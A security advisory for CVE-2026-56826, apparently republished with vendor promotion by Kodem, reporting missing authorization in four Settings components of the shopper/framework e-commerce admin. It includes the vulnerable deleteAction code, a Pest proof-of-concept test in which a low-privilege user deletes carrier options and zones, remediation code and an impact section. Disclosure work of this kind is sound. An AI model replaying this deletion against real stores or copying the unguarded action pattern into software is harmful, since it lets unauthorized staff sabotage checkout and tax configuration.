Summary
Shopping privilege escalation through missing authorization in Settings components
Four Livewire components in the Settings area expose destructive Filament actions (delete / edit) that perform no server-side authorization. Any authenticated user who can reach the Settings pages, i.e. holding only the coarse access_setting permission, without being an admin and without any delete_*/edit_* permission, can delete tax zones, tax rates, shipping zones, and carrier (shipping-rate) options by invoking the component action directly over the Livewire endpoint.
These records sit on the storefront checkout path, so deleting them breaks shipping-rate calculation, removes region-scoped payment methods, and corrupts tax resolution at checkout.
This is inconsistent with the rest of the admin, where destructive actions are gated by granular permissions (e.g. Settings/Locations/Index uses ->authorize('delete_inventories'), and Order/Detail gates mutating actions with edit_orders).
Affected components
| Component | File | Unauthorized action |
|---|---|---|
Settings\Zones\ZoneShippingOptions |
packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php:47 |
delete → CarrierOption::query()->find($arguments['id'])->delete() (id is client-supplied) |
Settings\Zones\Detail |
packages/admin/src/Livewire/Components/Settings/Zones/Detail.php:46 |
delete → DeleteAction on the bound Zone |
Settings\Taxes\Detail |
packages/admin/src/Livewire/Components/Settings/Taxes/Detail.php:42 |
delete → DeleteAction on the bound TaxZone |
Settings\Taxes\TaxRates |
packages/admin/src/Livewire/Components/Settings/Taxes/TaxRates.php:97 |
delete → DeleteAction on a TaxRate |
Each file contains zero authorize calls, and the actions declare neither ->authorize() nor an enforced ->visible() guard.
Details
The Settings pages mount these as child Livewire components. The parent page authorizes access_setting (e.g. Pages/Settings/Taxes.php:29), but the child components do not re-check authorization, and their destructive actions carry no ->authorize(). Because each Livewire component handles its own /livewire/update requests, the action executes purely on the page-level access_setting gate, there is no per-resource permission, and delete_zones / delete_taxes permissions are never even generated by the seeder (packages/admin/database/seeders/PermissionsTableSeeder.php).
ZoneShippingOptions::deleteAction() is the clearest case, it deletes by an id taken straight from the client action arguments with no scoping and no permission check:
// packages/admin/src/Livewire/Components/Settings/Zones/ZoneShippingOptions.php
public function deleteAction(): Action
{
return Action::make('delete')
->requiresConfirmation()
// ... no ->authorize(), no ->visible()
->action(function (array $arguments): void {
CarrierOption::query()->find($arguments['id'])->delete(); // client-controlled id
// ...
});
}
Proof of Concept
Confirmed with the project's own test harness (Pest + Orchestra Testbench, SQLite), the real Livewire/Filament code path, executed as a non-admin user holding only access_setting.
use Livewire\Livewire;
use Shopper\Core\Models\{CarrierOption, Zone};
use Shopper\Livewire\Components\Settings\Zones\ZoneShippingOptions;
use Tests\Core\Stubs\User;
uses(Tests\Admin\TestCase::class);
it('low-priv access_setting user deletes a CarrierOption with no authorization', function (): void {
$attacker = User::factory()->create();
$attacker->givePermissionTo('access_setting'); // NOT admin, NO delete_* permission
$this->actingAs($attacker, config('shopper.auth.guard'));
$zone = Zone::factory()->create();
$option = CarrierOption::factory()->create(['zone_id' => $zone->id]);
Livewire::test(ZoneShippingOptions::class, ['selectedZoneId' => $zone->id])
->callAction('delete', arguments: ['id' => $option->id]);
expect(CarrierOption::query()->find($option->id))->toBeNull(); // deleted -> vulnerable
});
Result:
Attacker: isAdmin()=false, can('access_setting')=true, can('delete_zones')=false, can('edit_zones')=false
[BEFORE] CarrierOption count = 1 (target #1 'DHL Express' exists = YES)
[ATTACK] callAction('delete', id=1) on ZoneShippingOptions
[AFTER ] CarrierOption count = 0 (target #1 exists = NO -> deleted)
PASS 3 passed (11 assertions)
✓ CONTROL, Order/Detail::markPaid is correctly hidden without edit_orders (harness enforces declared authz)
✓ a CarrierOption is deleted by the low-priv user
✓ a shipping Zone is deleted by the low-priv user
The CONTROL case rules out a false positive: the same harness correctly denies Order/Detail::markPaid for a user lacking edit_orders, proving authorization is enforced when a component declares it, these four components simply declare none.
Secondary issue found while reproducing
Zones\Detail::deleteAction()->after() calls $this->reset('zone'), but zone is a #[Computed] method (not a property), so it throws ReflectionException after the row is deleted. Worth fixing alongside the authorization gap.
Suggested remediation
Add an authorization check to each action, and ideally a mount() guard on each child component, matching the pattern already used in Settings/Locations/Index.php and Team/RolePermission.php:
public function deleteAction(): Action
{
return Action::make('delete')
->authorize('access_setting') // or a new granular delete_zones / delete_taxes permission
->requiresConfirmation()
// ...
}
Apply to the delete (and edit) actions in all four components. Consider also generating granular *_zones / *_taxes permissions so settings access can follow least privilege, and fix the $this->reset('zone') call in Zones\Detail.
Impact
A low-privileged staff member (or a compromised low-privileged account) can sabotage the storefront's checkout/revenue path without any delete permission:
- Delete a
CarrierOption→ that shipping rate disappears from checkout for the zone. - Delete a
Zone→ removes the country → carrier/payment-method/currency mapping; customers shipping to those countries lose all shipping and payment options (CarrierRateService::getRatesForZone/getManualRatesread these directly). - Delete a
TaxZone/TaxRate→TaxCalculator::resolveZone()can no longer resolve the zone, corrupting tax calculation at checkout.
Net effect: integrity and availability damage to live commerce configuration, performed by a principal who was never granted that authority (least-privilege violation).
The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.
CVE-2026-56826 has a CVSS score of 5.4 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.9.2); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-56826? CVE-2026-56826 is a medium-severity missing authorization vulnerability in shopper/framework (composer), affecting versions >= 2.0.0, < 2.9.2. It is fixed in 2.9.2. The application does not perform an authorization check before performing a sensitive operation.
- How severe is CVE-2026-56826? CVE-2026-56826 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of shopper/framework are affected by CVE-2026-56826? shopper/framework (composer) versions >= 2.0.0, < 2.9.2 is affected.
- Is there a fix for CVE-2026-56826? Yes. CVE-2026-56826 is fixed in 2.9.2. Upgrade to this version or later.
- Is CVE-2026-56826 exploitable, and should I be worried? Whether CVE-2026-56826 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-56826 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-56826? Upgrade
shopper/frameworkto 2.9.2 or later.